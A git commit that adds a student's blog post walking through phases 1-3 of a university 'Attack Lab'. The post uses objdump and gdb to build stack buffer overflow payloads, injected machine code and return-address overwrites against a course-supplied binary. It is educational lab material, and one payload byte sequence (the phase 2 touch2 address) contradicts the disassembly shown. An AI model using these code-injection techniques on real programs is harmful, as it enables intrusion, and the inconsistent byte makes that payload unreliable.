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| author | Navan Chauhan <navanchauhan@gmail.com> | 2023-10-17 14:53:45 -0600 |
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| committer | Navan Chauhan <navanchauhan@gmail.com> | 2023-10-17 14:53:45 -0600 |
| commit | f7197b0e3a0b8177d1ac55f8e3e75e9c31f61a8a (patch) | |
| tree | 4d8a949f2995149c6200bb0a5d282eca3f07c6a3 | |
| parent | 97188a509f922d4d70733c903558992488358f62 (diff) | |
attack lab 1-3
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diff --git a/docs/feed.rss b/docs/feed.rss index 90fcf9c..212045a 100644 --- a/docs/feed.rss +++ b/docs/feed.rss @@ -4,8 +4,8 @@ <title>Navan's Archive</title> <description>Rare Tips, Tricks and Posts</description> <link>https://web.navan.dev/</link><language>en</language> - <lastBuildDate>Tue, 17 Oct 2023 11:59:32 -0000</lastBuildDate> - <pubDate>Tue, 17 Oct 2023 11:59:32 -0000</pubDate> + <lastBuildDate>Tue, 17 Oct 2023 14:53:31 -0000</lastBuildDate> + <pubDate>Tue, 17 Oct 2023 14:53:31 -0000</pubDate> <ttl>250</ttl> <atom:link href="https://web.navan.dev/feed.rss" rel="self" type="application/rss+xml"/> @@ -1366,6 +1366,328 @@ Serving HTTP on 0.0.0.0 port 8000 ... <item> <guid isPermaLink="true"> + https://web.navan.dev/posts/2023-10-05-attack-lab.html + </guid> + <title> + Attack Lab + </title> + <description> + Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems + </description> + <link>https://web.navan.dev/posts/2023-10-05-attack-lab.html</link> + <pubDate>Thu, 05 Oct 2023 20:01:00 -0000</pubDate> + <content:encoded><![CDATA[<h1>Attack Lab</h1> + +<h2>Introduction</h2> + +<p>Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems</p> + +<blockquote> + <p>This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow.</p> +</blockquote> + +<p>Again, I like using objdump to disassemble the code. </p> + +<p><code>objdump -d ctarget > dis.txt</code></p> + +<h2>Phase 1</h2> + +<p>From the instructions, we know that our task is to get <code>CTARGET</code> to execute the code for <code>touch1</code> when <code>getbuf</code> executes its return statement, rather than returning to <code>test</code></p> + +<p>Let us try to look into the <code>getbuf</code> from our disassembled code.</p> + +<pre><code>0000000000402608 <getbuf>: + 402608: 48 83 ec 18 sub $0x18,%rsp + 40260c: 48 89 e7 mov %rsp,%rdi + 40260f: e8 95 02 00 00 call 4028a9 <Gets> + 402614: b8 01 00 00 00 mov $0x1,%eax + 402619: 48 83 c4 18 add $0x18,%rsp + 40261d: c3 +</code></pre> + +<pre><code>402608: 48 83 ec 18 sub $0x18,%rsp +</code></pre> + +<p>We can see that <code>0x18</code> (hex) or <code>24</code> (decimal) bytes of buffer is allocated to <code>getbuf</code> (Since, 24 bytes are being subtracted from the stack pointer).</p> + +<p>Now, since we know the buffer size we can try passing the address of the touch1 function.</p> + +<pre><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1 +000000000040261e <touch1>: +</code></pre> + +<p>We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)' +little +</code></pre> + +<p>We have our padding size and the function we need to call, we can write it in <code>ctarget.l1.txt</code></p> + +<pre><code>00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +1e 26 40 00 00 00 00 00 +</code></pre> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch1!: You called touch1() +Valid solution for level 1 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +</code></pre> + +<h2>Phase 2</h2> + +<blockquote> + <p>Phase 2 involves injecting a small amount of code as part of your exploit string.</p> +</blockquote> + +<blockquote> + <p>Within the file ctarget there is code for a function touch2 having the following C representation:</p> +</blockquote> + +<div class="codehilite"> +<pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">touch2</span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="n">val</span><span class="p">)</span> +<span class="p">{</span> +<span class="w"> </span><span class="n">vlevel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span> +<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">cookie</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Touch2!: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span> +<span class="w"> </span><span class="n">validate</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span> +<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Misfire: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span> +<span class="w"> </span><span class="n">fail</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span> +<span class="w"> </span><span class="p">}</span> +<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> +<span class="p">}</span> +</code></pre> +</div> + +<blockquote> + <p>Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, + however, you must make it appear to touch2 as if you have passed your cookie as its argument.</p> +</blockquote> + +<blockquote> + <p>Recall that the first argument to a function is passed in register %rdi</p> +</blockquote> + +<p>This hint tells us that we need to store the cookie in the rdi register</p> + +<pre><code>movq $0x3e8dee8f,%rdi +retq +</code></pre> + +<p>To get the byte representation, we need to compile the code and then disassemble it.</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o +phase2.s: Assembler messages: +phase2.s: Warning: end of file not at end of a line; newline inserted + +phase2.o: file format elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi + 7: c3 ret +</code></pre> + +<p>Thus, the byte representation for our asm code is <code>48 c7 c7 8f ee 8d 3e c3</code></p> + +<p>We also need to figure out the address to the <code>%rsp</code> register. Again, looking at the <code>getbuf</code> code</p> + +<pre><code>0000000000402608 <getbuf>: + 402608: 48 83 ec 18 sub $0x18,%rsp + 40260c: 48 89 e7 mov %rsp,%rdi + 40260f: e8 95 02 00 00 call 4028a9 <Gets> + 402614: b8 01 00 00 00 mov $0x1,%eax + 402619: 48 83 c4 18 add $0x18,%rsp + 40261d: c3 ret +</code></pre> + +<p>We need to find the address of <code>%rsp</code> after calling <code><Gets></code> and sending a really long string.</p> + +<p>What we are going to do now is to add a break on <code>getbuf</code>, and run the program just after it asks us to enter a string and then find the address of <code>%rsp</code></p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget +GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 +Copyright (C) 2022 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +<https://www.gnu.org/software/gdb/bugs/>. +Find the GDB manual and other documentation resources online at: + <http://www.gnu.org/software/gdb/documentation/>. + +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ./ctarget... +(gdb) b getbuf +Breakpoint 1 at 0x402608: file buf.c, line 12. +(gdb) run +Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget +Cookie: 0x3e8dee8f + +Breakpoint 1, getbuf () at buf.c:12 +12 buf.c: No such file or directory. +(gdb) disas +Dump of assembler code for function getbuf: +=> 0x0000000000402608 <+0>: sub $0x18,%rsp + 0x000000000040260c <+4>: mov %rsp,%rdi + 0x000000000040260f <+7>: call 0x4028a9 <Gets> + 0x0000000000402614 <+12>: mov $0x1,%eax + 0x0000000000402619 <+17>: add $0x18,%rsp + 0x000000000040261d <+21>: ret +End of assembler dump. +(gdb) until *0x402614 +Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe +getbuf () at buf.c:15 +15 in buf.c +(gdb) x/s $rsp +0x55621b40: "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe" +(gdb) +</code></pre> + +<p>So, the address for <code>%rsp</code> is <code>0x55621b40</code></p> + +<p>Thus, we can set our <code>ctarget.l2.txt</code> as:</p> + +<pre><code>byte representation of ASM code +padding +address of %rsp +address of touch2 function +</code></pre> + +<p>To get the address of <code>touch2</code> we can run:</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2 +000000000040264e <touch2>: + 402666: 74 2a je 402692 <touch2+0x44> + 4026b2: eb d4 jmp 402688 <touch2+0x3a> +</code></pre> + +<pre><code>48 c7 c7 8f ee 8d 3e c3 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +40 1b 62 55 00 00 00 00 +4e 26 b2 00 00 00 00 00 +</code></pre> + +<p>Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, </p> + +<pre><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch2!: You called touch2(0x3e8dee8f) +Valid solution for level 2 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +</code></pre> + +<h2>Phase 3</h2> + +<blockquote> + <p>Phase 3 also involves a code injection attack, but passing a string as argument.</p> +</blockquote> + +<blockquote> + <p>You will need to include a string representation of your cookie in your exploit string. The string should + consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”</p> +</blockquote> + +<blockquote> + <p>Your injected code should set register %rdi to the address of this string</p> +</blockquote> + +<blockquote> + <p>When functions hexmatch and strncmp are called, they push data onto the stack, overwriting + portions of memory that held the buffer used by getbuf. As a result, you will need to be careful + where you place the string representation of your cookie.</p> +</blockquote> + +<p>Because <code>hexmatch</code> and <code>strncmp</code> might overwrite the buffer allocated for <code>getbuf</code> we will try to store the data after the function <code>touch3</code> itself.</p> + +<p>=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)</p> + +<p>We can use our address for <code>%rsp</code> from phase 2, and simply add <code>0x28</code> to it.</p> + +<p>=> <code>0x55621b40</code> + <code>0x28</code> = <code>0x55621B68</code></p> + +<p>Again, let us get the binary representation for the ASM code:</p> + +<div class="codehilite"> +<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x55621B68</span><span class="p">,</span><span class="w"> </span><span class="nv">%rdi</span> +<span class="nf">retq</span> +</code></pre> +</div> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o +phase3.s: Assembler messages: +phase3.s: Warning: end of file not at end of a line; newline inserted + +phase3.o: file format elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 68 1b 62 55 mov $0x55621b68,%rdi + 7: c3 ret +</code></pre> + +<p>Thus, our answer is going to be in the form:</p> + +<pre><code>asm code +padding +return address / %rsp +touch3 address +cookie string +</code></pre> + +<p>To quickly get the address for <code>touch3</code></p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3 +0000000000402763 <touch3>: + 402781: 74 2d je 4027b0 <touch3+0x4d> + 4027d3: eb d1 jmp 4027a6 <touch3+0x43> +</code></pre> + +<p>We need to use an ASCII to Hex converter to convert the cookie string into hex.</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p +3365386465653866 +</code></pre> + +<p>Thus, our cookie string representation is <code>33 65 38 64 65 65 38 66</code></p> + +<pre><code>48 c7 c7 68 1B 62 55 c3 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +40 1b 62 55 00 00 00 00 +63 27 40 00 00 00 00 00 +33 65 38 64 65 65 38 66 +</code></pre> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch3!: You called touch3("3e8dee8f") +Valid solution for level 3 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +</code></pre> + +<p>Phases 1-3 Complete.</p> +]]></content:encoded> + </item> + + <item> + <guid isPermaLink="true"> https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html </guid> <title> diff --git a/docs/index.html b/docs/index.html index 3f01c4f..eecab0d 100644 --- a/docs/index.html +++ b/docs/index.html @@ -48,6 +48,25 @@ <h2>Recent Posts</h2> <ul> + <li><a href="/posts/2023-10-05-attack-lab.html">Attack Lab</a></li> + <ul> + <li>Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems</li> + <li>Published On: 2023-10-05 20:01</li> + <li>Tags: + + gdb, + + reverse-engineering, + + c++, + + csci2400, + + assembly + + </ul> + + <li><a href="/posts/2023-10-04-bomb-lab.html">Bomb Lab</a></li> <ul> <li>Walkthrough of Phases 1-6 of Bomb Lab for CSCI 2400 Computer Systems Lab 2</li> @@ -114,19 +133,6 @@ </ul> - <li><a href="/posts/2022-12-25-blog-to-toot.html">Posting blogs as Mastodon Toots</a></li> - <ul> - <li>Cross posting blog posts to Mastodon</li> - <li>Published On: 2022-12-25 17:32</li> - <li>Tags: - - Python, - - Mastodon - - </ul> - - </ul> <b>For all posts go to <a href="/posts">Posts</a></b> diff --git a/docs/posts/2023-10-05-attack-lab.html b/docs/posts/2023-10-05-attack-lab.html new file mode 100644 index 0000000..393951b --- /dev/null +++ b/docs/posts/2023-10-05-attack-lab.html @@ -0,0 +1,365 @@ +<!DOCTYPE html> +<html lang="en"> +<head> + + <link rel="stylesheet" href="https://unpkg.com/latex.css/style.min.css" /> + <link rel="stylesheet" href="/assets/main.css" /> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0"> + <title>Attack Lab</title> + <meta name="og:site_name" content="Navan Chauhan" /> + <link rel="canonical" href="https://web.navan.dev/" /> + <meta name="twitter:url" content="https://web.navan.dev/" /> + <meta name="og:url" content="https://web.navan.dev/" /> + <meta name="twitter:title" content="Attack Lab" /> + <meta name="og:title" content="Attack Lab" /> + <meta name="description" content="Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems" /> + <meta name="twitter:description" content="Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems" /> + <meta name="og:description" content="Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems" /> + <meta name="twitter:card" content="summary_large_image" /> + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> + <link rel="shortcut icon" href="/images/favicon.png" type="image/png" /> + <link rel="alternate" href="/feed.rss" type="application/rss+xml" title="Subscribe to Navan Chauhan" /> + <meta name="twitter:image" content="https://web.navan.dev/images/opengraph/posts/2023-10-05-attack-lab.png" /> + <meta name="og:image" content="https://web.navan.dev/images/opengraph/posts/2023-10-05-attack-lab.png" /> + <link rel="manifest" href="manifest.json" /> + <meta name="google-site-verification" content="LVeSZxz-QskhbEjHxOi7-BM5dDxTg53x2TwrjFxfL0k" /> + <script data-goatcounter="https://navanchauhan.goatcounter.com/count" + async src="//gc.zgo.at/count.js"></script> + <script defer data-domain="web.navan.dev" src="https://plausible.io/js/plausible.js"></script> + +</head> +<body> + <nav style="display: block;"> +| +<a href="/">home</a> | +<a href="/about/">about/links</a> | +<a href="/posts/">posts</a> | +<a href="/publications/">publications</a> | +<a href="/repo/">iOS repo</a> | +<a href="/feed.rss">RSS Feed</a> | +</nav> + +<main> + + <h1>Attack Lab</h1> + +<h2>Introduction</h2> + +<p>Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems</p> + +<blockquote> + <p>This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow.</p> +</blockquote> + +<p>Again, I like using objdump to disassemble the code. </p> + +<p><code>objdump -d ctarget > dis.txt</code></p> + +<h2>Phase 1</h2> + +<p>From the instructions, we know that our task is to get <code>CTARGET</code> to execute the code for <code>touch1</code> when <code>getbuf</code> executes its return statement, rather than returning to <code>test</code></p> + +<p>Let us try to look into the <code>getbuf</code> from our disassembled code.</p> + +<pre><code>0000000000402608 <getbuf>: + 402608: 48 83 ec 18 sub $0x18,%rsp + 40260c: 48 89 e7 mov %rsp,%rdi + 40260f: e8 95 02 00 00 call 4028a9 <Gets> + 402614: b8 01 00 00 00 mov $0x1,%eax + 402619: 48 83 c4 18 add $0x18,%rsp + 40261d: c3 +</code></pre> + +<pre><code>402608: 48 83 ec 18 sub $0x18,%rsp +</code></pre> + +<p>We can see that <code>0x18</code> (hex) or <code>24</code> (decimal) bytes of buffer is allocated to <code>getbuf</code> (Since, 24 bytes are being subtracted from the stack pointer).</p> + +<p>Now, since we know the buffer size we can try passing the address of the touch1 function.</p> + +<pre><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1 +000000000040261e <touch1>: +</code></pre> + +<p>We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)' +little +</code></pre> + +<p>We have our padding size and the function we need to call, we can write it in <code>ctarget.l1.txt</code></p> + +<pre><code>00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +1e 26 40 00 00 00 00 00 +</code></pre> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch1!: You called touch1() +Valid solution for level 1 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +</code></pre> + +<h2>Phase 2</h2> + +<blockquote> + <p>Phase 2 involves injecting a small amount of code as part of your exploit string.</p> +</blockquote> + +<blockquote> + <p>Within the file ctarget there is code for a function touch2 having the following C representation:</p> +</blockquote> + +<div class="codehilite"> +<pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">touch2</span><span class="p">(</span><span class="kt">unsigned</span><span class="w"> </span><span class="n">val</span><span class="p">)</span> +<span class="p">{</span> +<span class="w"> </span><span class="n">vlevel</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span> +<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">val</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">cookie</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Touch2!: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span> +<span class="w"> </span><span class="n">validate</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span> +<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span> +<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Misfire: You called touch2(0x%.8x)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">val</span><span class="p">);</span> +<span class="w"> </span><span class="n">fail</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span> +<span class="w"> </span><span class="p">}</span> +<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> +<span class="p">}</span> +</code></pre> +</div> + +<blockquote> + <p>Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, + however, you must make it appear to touch2 as if you have passed your cookie as its argument.</p> +</blockquote> + +<blockquote> + <p>Recall that the first argument to a function is passed in register %rdi</p> +</blockquote> + +<p>This hint tells us that we need to store the cookie in the rdi register</p> + +<pre><code>movq $0x3e8dee8f,%rdi +retq +</code></pre> + +<p>To get the byte representation, we need to compile the code and then disassemble it.</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o +phase2.s: Assembler messages: +phase2.s: Warning: end of file not at end of a line; newline inserted + +phase2.o: file format elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi + 7: c3 ret +</code></pre> + +<p>Thus, the byte representation for our asm code is <code>48 c7 c7 8f ee 8d 3e c3</code></p> + +<p>We also need to figure out the address to the <code>%rsp</code> register. Again, looking at the <code>getbuf</code> code</p> + +<pre><code>0000000000402608 <getbuf>: + 402608: 48 83 ec 18 sub $0x18,%rsp + 40260c: 48 89 e7 mov %rsp,%rdi + 40260f: e8 95 02 00 00 call 4028a9 <Gets> + 402614: b8 01 00 00 00 mov $0x1,%eax + 402619: 48 83 c4 18 add $0x18,%rsp + 40261d: c3 ret +</code></pre> + +<p>We need to find the address of <code>%rsp</code> after calling <code><Gets></code> and sending a really long string.</p> + +<p>What we are going to do now is to add a break on <code>getbuf</code>, and run the program just after it asks us to enter a string and then find the address of <code>%rsp</code></p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget +GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 +Copyright (C) 2022 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. +Type "show copying" and "show warranty" for details. +This GDB was configured as "x86_64-linux-gnu". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +<https://www.gnu.org/software/gdb/bugs/>. +Find the GDB manual and other documentation resources online at: + <http://www.gnu.org/software/gdb/documentation/>. + +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ./ctarget... +(gdb) b getbuf +Breakpoint 1 at 0x402608: file buf.c, line 12. +(gdb) run +Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget +Cookie: 0x3e8dee8f + +Breakpoint 1, getbuf () at buf.c:12 +12 buf.c: No such file or directory. +(gdb) disas +Dump of assembler code for function getbuf: +=> 0x0000000000402608 <+0>: sub $0x18,%rsp + 0x000000000040260c <+4>: mov %rsp,%rdi + 0x000000000040260f <+7>: call 0x4028a9 <Gets> + 0x0000000000402614 <+12>: mov $0x1,%eax + 0x0000000000402619 <+17>: add $0x18,%rsp + 0x000000000040261d <+21>: ret +End of assembler dump. +(gdb) until *0x402614 +Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe +getbuf () at buf.c:15 +15 in buf.c +(gdb) x/s $rsp +0x55621b40: "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe" +(gdb) +</code></pre> + +<p>So, the address for <code>%rsp</code> is <code>0x55621b40</code></p> + +<p>Thus, we can set our <code>ctarget.l2.txt</code> as:</p> + +<pre><code>byte representation of ASM code +padding +address of %rsp +address of touch2 function +</code></pre> + +<p>To get the address of <code>touch2</code> we can run:</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2 +000000000040264e <touch2>: + 402666: 74 2a je 402692 <touch2+0x44> + 4026b2: eb d4 jmp 402688 <touch2+0x3a> +</code></pre> + +<pre><code>48 c7 c7 8f ee 8d 3e c3 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +40 1b 62 55 00 00 00 00 +4e 26 b2 00 00 00 00 00 +</code></pre> + +<p>Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, </p> + +<pre><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch2!: You called touch2(0x3e8dee8f) +Valid solution for level 2 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +</code></pre> + +<h2>Phase 3</h2> + +<blockquote> + <p>Phase 3 also involves a code injection attack, but passing a string as argument.</p> +</blockquote> + +<blockquote> + <p>You will need to include a string representation of your cookie in your exploit string. The string should + consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”</p> +</blockquote> + +<blockquote> + <p>Your injected code should set register %rdi to the address of this string</p> +</blockquote> + +<blockquote> + <p>When functions hexmatch and strncmp are called, they push data onto the stack, overwriting + portions of memory that held the buffer used by getbuf. As a result, you will need to be careful + where you place the string representation of your cookie.</p> +</blockquote> + +<p>Because <code>hexmatch</code> and <code>strncmp</code> might overwrite the buffer allocated for <code>getbuf</code> we will try to store the data after the function <code>touch3</code> itself.</p> + +<p>=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)</p> + +<p>We can use our address for <code>%rsp</code> from phase 2, and simply add <code>0x28</code> to it.</p> + +<p>=> <code>0x55621b40</code> + <code>0x28</code> = <code>0x55621B68</code></p> + +<p>Again, let us get the binary representation for the ASM code:</p> + +<div class="codehilite"> +<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x55621B68</span><span class="p">,</span><span class="w"> </span><span class="nv">%rdi</span> +<span class="nf">retq</span> +</code></pre> +</div> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o +phase3.s: Assembler messages: +phase3.s: Warning: end of file not at end of a line; newline inserted + +phase3.o: file format elf64-x86-64 + + +Disassembly of section .text: + +0000000000000000 <.text>: + 0: 48 c7 c7 68 1b 62 55 mov $0x55621b68,%rdi + 7: c3 ret +</code></pre> + +<p>Thus, our answer is going to be in the form:</p> + +<pre><code>asm code +padding +return address / %rsp +touch3 address +cookie string +</code></pre> + +<p>To quickly get the address for <code>touch3</code></p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3 +0000000000402763 <touch3>: + 402781: 74 2d je 4027b0 <touch3+0x4d> + 4027d3: eb d1 jmp 4027a6 <touch3+0x43> +</code></pre> + +<p>We need to use an ASCII to Hex converter to convert the cookie string into hex.</p> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p +3365386465653866 +</code></pre> + +<p>Thus, our cookie string representation is <code>33 65 38 64 65 65 38 66</code></p> + +<pre><code>48 c7 c7 68 1B 62 55 c3 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +40 1b 62 55 00 00 00 00 +63 27 40 00 00 00 00 00 +33 65 38 64 65 65 38 66 +</code></pre> + +<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget +Cookie: 0x3e8dee8f +Type string:Touch3!: You called touch3("3e8dee8f") +Valid solution for level 3 with target ctarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +</code></pre> + +<p>Phases 1-3 Complete.</p> + + <blockquote>If you have scrolled this far, consider subscribing to my mailing list <a href="https://listmonk.navan.dev/subscription/form">here.</a> You can subscribe to either a specific type of post you are interested in, or subscribe to everything with the "Everything" list.</blockquote> + <script data-isso="//comments.navan.dev/" + src="//comments.navan.dev/js/embed.min.js"></script> + <section id="isso-thread"> + <noscript>Javascript needs to be activated to view comments.</noscript> + </section> +</main> + + +<script src="assets/manup.min.js"></script> +<script src="/pwabuilder-sw-register.js"></script> +</body> +</html>
\ No newline at end of file diff --git a/docs/posts/index.html b/docs/posts/index.html index ebeecc8..b5da312 100644 --- a/docs/posts/index.html +++ b/docs/posts/index.html @@ -50,6 +50,25 @@ <ul> + <li><a href="/posts/2023-10-05-attack-lab.html">Attack Lab</a></li> + <ul> + <li>Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems</li> + <li>Published On: 2023-10-05 20:01</li> + <li>Tags: + + gdb, + + reverse-engineering, + + c++, + + csci2400, + + assembly, + + </ul> + + <li><a href="/posts/2023-10-04-bomb-lab.html">Bomb Lab</a></li> <ul> <li>Walkthrough of Phases 1-6 of Bomb Lab for CSCI 2400 Computer Systems Lab 2</li> |